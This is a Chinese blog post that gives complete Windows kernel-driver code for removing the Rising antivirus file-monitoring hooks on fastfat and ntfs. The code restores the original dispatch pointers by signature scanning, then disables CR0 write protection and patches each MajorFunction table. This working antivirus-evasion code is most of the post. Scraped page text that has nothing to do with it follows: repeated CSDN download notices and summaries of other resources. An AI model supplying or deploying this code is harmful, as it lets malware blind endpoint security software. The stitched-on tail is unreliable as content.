对抗瑞星文件监控 恢复fsd

本文介绍了一种通过hookfsd实现的文件监控机制,重点在于如何从瑞星软件的角度出发,恢复被更改的文件系统驱动(FSD)。通过特定的特征码定位并还原FSD地址,使系统恢复正常的文件操作流程。
前段时间研究主动防御,发现瑞星的文件监控很有意思,是通过hook fsd来实现的,无奈就研究了下恢复fsd
现在把完整代码发出来.
复制内容到剪贴板
代码:
//得到系统内核模块基址
DWORD FoundSystemModule(BOOL bKernel,char *sysFileName)
{
        DWORD    dwNeededSize,rc;
        PMODULES    pModules=(PMODULES)&pModules;
        PCHAR    pKernelName;
        DWORD kernelBase;
        DWORD i;

        rc=ZwQuerySystemInformation(SystemModuleInformation,pModules,4,&dwNeededSize);
    if (rc==STATUS_INFO_LENGTH_MISMATCH)
        {
                pModules=(MODULES *)ExAllocatePool(PagedPool,dwNeededSize);
        rc=ZwQuerySystemInformation(SystemModuleInformation,pModules,dwNeededSize,NULL);
                if (!NT_SUCCESS(rc))
                {
                        DbgPrint("ZwQuerySystemInformation failed");
                        return 0;
                }
    }
        else
        {
                DbgPrint("ZwQuerySystemInformation failed");
                return 0;
               
        }

        if(bKernel)
        {
                pKernelName=pModules->smi[0].ModuleNameOffset+pModules->smi[0].ImageName;
                strcpy(sysFileName,pKernelName);
                kernelBase=(DWORD)pModules->smi[0].Base;
                return kernelBase;
        }
        for (i=0;(pModules->dwNumberOfModules)>i;i++)
        {
                pKernelName=pModules->smi[i].ModuleNameOffset+pModules->smi[i].ImageName;
                if(stricmp(pKernelName,sysFileName)==0)
                {
                        kernelBase=(DWORD)pModules->smi[i].Base;
                        return kernelBase;
                }
        }
       
        return 0;
}
复制内容到剪贴板
代码:
typedef struct _old_fsd
{
        DWORD id;
        DWORD address;
}old_fsd,*pold_fsd;
old_fsd oldFsd[20];

BYTE fatFalg[3]={0xc7,0x46,0x38};
BYTE ntfsFalg[3]={0xc7,0x46,0x7c};

//搜索fastfat.sys或ntfs.sys中的特征代码,得到原始的fsd,并保存在结构数组中oldFsd中
BOOL GetOldFsd(PUNICODE_STRING fileName,DWORD fileSysBase,BOOL bfalg)
{
        char *code;
        PVOID lpBase=NULL;
        NTSTATUS status;
        DWORD i;
    HANDLE  hSection, hFile;
    DWORD imageBase;
    SIZE_T size=0;
    IO_STATUS_BLOCK iosb;
    OBJECT_ATTRIBUTES oa = {sizeof oa, 0, fileName, OBJ_CASE_INSENSITIVE};
        BYTE id;
        DWORD dwid;
        DWORD address;
        int j;
    status=ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
        if(!NT_SUCCESS(status))
        {
                DbgPrint("ZwOpenFile failed/n");
                return FALSE;
        }
    oa.ObjectName = 0;
     status=ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);
        if(!NT_SUCCESS(status))
        {
                DbgPrint("ZwCreateSection failed/n");
                return FALSE;
        }
     status=ZwMapViewOfSection(hSection, NtCurrentProcess(), &lpBase, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE);
    if(!NT_SUCCESS(status))
        {
                DbgPrint("ZwMapViewOfSection failed/n");
                return FALSE;
        }
    ZwClose(hFile);
        imageBase=GetImageBase(lpBase);
        if(imageBase==0)
        {
                DbgPrint("get ImageBase failed/n");
                return FALSE;
        }
        code=(char *)lpBase;
        if(bfalg)
        {
                for(i=0;i<143360;i++)
                {
                        if(memcmp(code,&fatFalg,3)==0)
                        {
                                for(j=0;j<20;j++)
                                {       
                                        if(*(WORD*)(code)==0x1c6a)
                                                return TRUE;
                                        if(*(WORD*)(code)==0x86c7)
                                        {
                                                code+=2;
                                                dwid=*(DWORD*)code;
                                                code+=4;
                                                address=*(DWORD*)code;
                                                        oldFsd[j].address=address-imageBase+fileSysBase;
                                        oldFsd[j].id=dwid;
                                        oldFsd[j].id=(oldFsd[j].id>>2)-0xE;
                                                code+=4;
                                                continue;
                                        }
                                        code+=2;;
                                        id=*(BYTE*)code;
                                        code++;
                                        address=*(DWORD*)code;
                                        oldFsd[j].address=address-imageBase+fileSysBase;
                                        oldFsd[j].id=(DWORD)id;
                                        oldFsd[j].id=(oldFsd[j].id>>2)-0xE;
                                        code+=4;       
                                }       
                        }
                        code++;
                }
        }
        else
        {
                for(i=0;i<574464;i++)
                {
                        if(memcmp(code,&ntfsFalg,3)==0)
                        {
                                for(j=0;j<20;j++)
                                {
                                        if(*(WORD*)(code)==0xb9b8)
                                                return TRUE;
                                        if(*(WORD*)(code)==0x86c7)
                                        {
                                                code+=2;
                                                dwid=*(DWORD*)code;
                                                code+=4;
                                                address=*(DWORD*)code;
                                                oldFsd[j].address=address-imageBase+fileSysBase;
                                                oldFsd[j].id=dwid;
                                                oldFsd[j].id=(oldFsd[j].id>>2)-0xE;
                                                code+=4;
                                                continue;
                                        }
                                        code+=2;;
                                        id=*(BYTE*)code;
                                        code++;
                                        address=*(DWORD*)code;
                                        oldFsd[j].address=address-imageBase+fileSysBase;
                                        oldFsd[j].id=(DWORD)id;
                                        oldFsd[j].id=(oldFsd[j].id>>2)-0xE;
                                        code+=4;       
                                }
                        }
                        code++;
                }
        }
        return FALSE;
}
复制内容到剪贴板
代码:
//写入fsd
BOOL SetFsd(PUNICODE_STRING objectName)
{
        ULONG i;
        NTSTATUS ntStatus;
        PDRIVER_OBJECT      DriverObject;
        ntStatus = ObReferenceObjectByName(objectName,
                OBJ_CASE_INSENSITIVE,
                NULL,
                0,
                *IoDriverObjectType,
                KernelMode,
                NULL,
                &DriverObject);
        if (!NT_SUCCESS(ntStatus))
        {
                DbgPrint("ObReferenceObjectByName failed/n");
                return FALSE;
        }
        for(i=0;i<20&&oldFsd[i].address;i++)
        {
               
                if((ULONG)DriverObject->MajorFunction[oldFsd[i].id]!=oldFsd[i].address)
                {
                        _asm
                        {
                                CLI  ;                 
                                MOV    EAX, CR0  ;   
                                AND EAX, NOT 10000H ;
                                MOV    CR0, EAX;        
                        }
                        (ULONG)DriverObject->MajorFunction[oldFsd[i].id]=oldFsd[i].address;
                        _asm
                        {
                                MOV    EAX, CR0;        
                                OR    EAX, 10000H;            
                                MOV    CR0, EAX ;              
                                STI;                    
                        }
                        DbgPrint("IRP_ID:%x/n",oldFsd[i].id);
                }
        }
        return TRUE;
}
复制内容到剪贴板
代码:
/判断系统中有哪些格式的分区,还原fsd
void ResetFsd()
{
        DWORD kernelBase;
        UNICODE_STRING fileSysName;
        UNICODE_STRING objectName;
        WCHAR fatObjectString[]=L"//FileSystem//FastFat";
        WCHAR ntfsObjectString[]=L"//FileSystem//Ntfs";
        kernelBase=FoundSystemModule(FALSE,"fastfat.sys");
        if(kernelBase!=0)
        {
                RtlInitUnicodeString(&fileSysName, L"//Device//HarddiskVolume1//Windows//System32//drivers//fastfat.sys");
                GetOldFsd(&fileSysName,kernelBase,TRUE);
                RtlInitUnicodeString(&objectName,fatObjectString);
                if(!SetFsd(&objectName))
                        return;
                memset(oldFsd,0,sizeof(oldFsd));

        }
        kernelBase=FoundSystemModule(FALSE,"ntfs.sys");
        if(kernelBase!=0)
        {
                RtlInitUnicodeString(&fileSysName, L"//Device//HarddiskVolume1//Windows//System32//drivers//ntfs.sys");
                GetOldFsd(&fileSysName,kernelBase,FALSE);
                RtlInitUnicodeString(&objectName,ntfsObjectString);
                if(!SetFsd(&objectName))
                        return;
                memset(oldFsd,0,sizeof(oldFsd));
        }
}
只需要调用ResetFsd()函数就可以轻松恢复恢复fsd了,在xp sp2,瑞星2008下测试通过
以上代码只供技术研究,,莫用于非法用途。。。。。
最后希望即将要参加高考的曹同学,再高考中顺顺利利,考上理想的大学呀!
【重要提示】本资源设置为0积分下载,若非0积分请勿轻易下载 亲爱的CSDN用户: 首先感谢你点进这个资源页面。我需要提前说明一个重要情况: 本资源原本已设置为“0积分下载”,即作者希望完全免费共享。但CSDN平台有时会根据文件的下载热度、文件大小、用户权限等因素,自动将部分资源的积分调整为非0数值(如1积分、2积分、5积分等)。这是平台系统的自动行为,而非作者本人的设定。 因此,如果你当前看到该资源的下载所需积分不是0(例如显示为1、2、3……),请谨慎决定是否下载。 如果你按照非0积分支付并下载后发现资源内容不符合预期、链接失效,或者实际上该资源本应是免费的,作者无法为此承担积分损失或退还操作。强烈建议:仅在页面显示为0积分时进行下载。 另外,本资源描述中并未直接提供具体的下载地址或外部链接,因为它本身是一个通过CSDN官方上传通道提交的文件/内容包。如果你看到描述中没有外部网盘地址,这是正常的——资源文件应通过CSDN内置的“下载”按钮获取。若因平台积分显示异常导致你支付了积分,请优先联系CSDN客服咨询积分退还政策,作者没有权限修改平台自动设定的积分值。 感谢你的理解与支持。技术分享本应开放,但受限于平台规则,特此提醒如上。祝学习进步!
源码下载地址: https://pan.quark.cn/s/a4b39357ea24 MAC(媒体访问控制器)与PHY(物理接口收发器)是构成以太网基础架构的两个核心组成部分,它们在数据链路层和物理层中承担着重要功能。以太网技术是计算机网络领域中应用最为广泛的局域网技术之一,其相关标准主要由IEEE通过IEEE 802.3标准来制定,该标准详细规定了从物理层到介质访问控制层的通信协议和规范。MAC主要负责数据链路层的下半部分功能,其核心职责包括对网络中的数据传输进行管理,确保数据能够准确无误地在网络中传输。MAC通过评估网络状态来决定是否可以发送数据,并在发送前为数据附加必要的控制信息,最终将数据和控制信息按照标准格式传输至物理层。在接收数据时,MAC协议负责判断数据传输是否出现错误,若无错误则将数据的控制信息剥离后传递给逻辑链路控制(LLC)层。 PHY则负责物理层的具体实现,涵盖了电信号的传输与接收,以及将数据转换为物理信号发送至网络,或将物理信号转换回数据供MAC处理。IEEE 802.3标准对PHY的规范进行了规定,不同速度的PHY,例如10BaseT和100BaseTX,虽然在物理层上具有相同的分组描述,但所采用的信令机制存在差异,10BaseT使用曼彻斯特编码,而100BaseTX采用4B/5B编码,这种设计防止了硬件在不同速度下能够轻易兼容。 媒体独立接口(MII)是用于连接MAC和PHY的标准接口,作为IEEE 802.3定义的一个以太网行业标准,它包含了数据接口和管理接口。数据接口运用了两条独立的信道,其中一条用于发送器,另一条用于接收器,每条信道都包含数据、时钟和控制信号。总共需要16个信号来实现MII接口,以支持MAC和PHY之间的数据交...
内容概要:本文系统研究了基于交流潮流的电力系统多元件N-k故障模型,通过Matlab代码实现了在多重故障条件下电力系统潮流的精确计算与安全性分析。该模型充分考虑交流潮流的非线性特性,构建了更为精确的N-k故障数学表达形式,能够有效模拟实际电网中多个元件同时发生故障的复杂场景,从而提升对系统脆弱性的识别能力和安全评估的准确性。研究重点涵盖故障组合的高效枚举、交流潮流方程在故障状态下的修正求解方法,以及关键故障场景的筛选机制,并配套提供完整的Matlab仿真程序,便于用户复现结果、验证算法并拓展应用于其他测试系统。; 适合人群:具备电力系统分析基础理论知识和Matlab编程能力的科研人员、电气工程专业研究生,以及从事电网安全评估、可靠性分析和运行调度的工程技术人员。; 使用场景及目标:①开展电力系统多重故障下的安全性与稳定性评估;②支撑电网规划阶段的N-k安全准则校验;③用于学术研究中对连锁故障传播机理的建模与仿真分析;④识别电网中的关键薄弱环节,为提升系统韧性、制定应急控制策略和优化防护资源配置提供技术依据。; 阅读建议:建议读者结合电力系统潮流计算与稳定性相关理论,深入理解N-k故障建模的核心逻辑,重点关注交流潮流在故障注入后的处理方法,务必动手运行所提供的Matlab代码,通过调试与修改加深对算法实现细节的掌握,并尝试将其应用于IEEE标准测试系统或其他实际电网模型中进行对比验证与性能优化。
【重要提示】本资源设置为0积分下载,若非0积分请勿轻易下载 亲爱的CSDN用户: 首先感谢你点进这个资源页面。我需要提前说明一个重要情况: 本资源原本已设置为“0积分下载”,即作者希望完全免费共享。但CSDN平台有时会根据文件的下载热度、文件大小、用户权限等因素,自动将部分资源的积分调整为非0数值(如1积分、2积分、5积分等)。这是平台系统的自动行为,而非作者本人的设定。 因此,如果你当前看到该资源的下载所需积分不是0(例如显示为1、2、3……),请谨慎决定是否下载。 如果你按照非0积分支付并下载后发现资源内容不符合预期、链接失效,或者实际上该资源本应是免费的,作者无法为此承担积分损失或退还操作。强烈建议:仅在页面显示为0积分时进行下载。 另外,本资源描述中并未直接提供具体的下载地址或外部链接,因为它本身是一个通过CSDN官方上传通道提交的文件/内容包。如果你看到描述中没有外部网盘地址,这是正常的——资源文件应通过CSDN内置的“下载”按钮获取。若因平台积分显示异常导致你支付了积分,请优先联系CSDN客服咨询积分退还政策,作者没有权限修改平台自动设定的积分值。 感谢你的理解与支持。技术分享本应开放,但受限于平台规则,特此提醒如上。祝学习进步!
【重要提示】本资源设置为0积分下载,若非0积分请勿轻易下载 亲爱的CSDN用户: 首先感谢你点进这个资源页面。我需要提前说明一个重要情况: 本资源原本已设置为“0积分下载”,即作者希望完全免费共享。但CSDN平台有时会根据文件的下载热度、文件大小、用户权限等因素,自动将部分资源的积分调整为非0数值(如1积分、2积分、5积分等)。这是平台系统的自动行为,而非作者本人的设定。 因此,如果你当前看到该资源的下载所需积分不是0(例如显示为1、2、3……),请谨慎决定是否下载。 如果你按照非0积分支付并下载后发现资源内容不符合预期、链接失效,或者实际上该资源本应是免费的,作者无法为此承担积分损失或退还操作。强烈建议:仅在页面显示为0积分时进行下载。 另外,本资源描述中并未直接提供具体的下载地址或外部链接,因为它本身是一个通过CSDN官方上传通道提交的文件/内容包。如果你看到描述中没有外部网盘地址,这是正常的——资源文件应通过CSDN内置的“下载”按钮获取。若因平台积分显示异常导致你支付了积分,请优先联系CSDN客服咨询积分退还政策,作者没有权限修改平台自动设定的积分值。 感谢你的理解与支持。技术分享本应开放,但受限于平台规则,特此提醒如上。祝学习进步!
源码直接下载地址: https://pan.quark.cn/s/a4b39357ea24 ### 汇编语言程序:从键盘输入一串英文字母,分别将其转换为大写、小写并输出 #### 程序概述 本文档详细介绍了一个基础的汇编语言程序,该程序能够让用户通过键盘输入一系列英文字母,并将这些字母分别转换成大写和小写形式后输出。此程序特别适合汇编语言初学者作为学习与练习的参考实例。 #### 程序结构分析 程序主要分为两个部分:数据部分(DATASEGMENT)与代码部分(CODESEGMENT)。 ##### 数据部分(DATASEGMENT) 在数据部分中,定义了以下几个变量: - `MESS1`:字符串常量,用于向用户发出输入提示。 - `MI`:用于保存用户输入的字符串。 - `MO1`:用于保存转换为大写的字符串。 - `MO2`:用于保存转换为小写的字符串。 具体定义如下: - `MESS1 DB Please input strings:, 0AH, 0DH, $`:定义了一个包含提示信息的字符串,其中`0AH`表示换行符,`0DH`表示回车符。 - `MI DB 50 DUP ($)`:定义了一个最大长度为50个字符的数组,用于保存用户输入的字符串。 - `MO1 DB 51 DUP ($)`:定义了一个最大长度为51个字符的数组,用于保存转换为大写的字符串,多出的一个字符用于保存字符串结束标志`$`。 - `MO2 DB 51 DUP ($)`:定义了一个最大长度为51个字符的数组,用于保存转换为小写的字符串。 ##### 代码部分(CODESEGMENT) 代码部分包含了程序的主要逻辑: 1. **初始化**:将数据段设置为当前数据段。 2. **显示提示信...
内容概要:本文详细介绍了基于物理信息神经网络(PINNs)求解欧拉-伯努利(Euler-Bernoulli)双梁正问题的PyTorch实战方法,通过Python代码实现,将结构力学中的偏微分方程作为物理约束嵌入深度学习模型,利用神经网络自动满足控制方程与边界条件,从而实现对双梁系统变形行为的高精度建模与求解。该方法摆脱了传统数值方法对网格划分的依赖,具备强泛化能力与求解灵活性,尤其适用于复杂边界条件和连续介质力学问题的智能仿真。文中重点解析了损失函数的设计原理,涵盖方程残差、初始条件与边界条件的加权融合,并提供了可复现的代码架构,便于进一步拓展至其他多物理场耦合问题。; 适合人群:具备一定深度学习基础、熟悉PyTorch框架,并掌握结构力学或偏微分方程基本概念的研究生、科研人员及从事智能计算与工程仿真的技术人员。; 使用场景及目标:①应用于土木、机械等领域中梁结构的静动力响应分析;②推动数据驱动与物理模型融合的科学机器学习(SciML)技术发展;③为复杂工程系统的无网格化、智能化仿真提供新范式。; 阅读建议:建议读者结合提供的代码逐模块调试,深入理解物理约束项在损失函数中的数学表达与实现逻辑,并尝试更换材料参数、边界条件或扩展至非线性梁模型以增强实际应用能力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值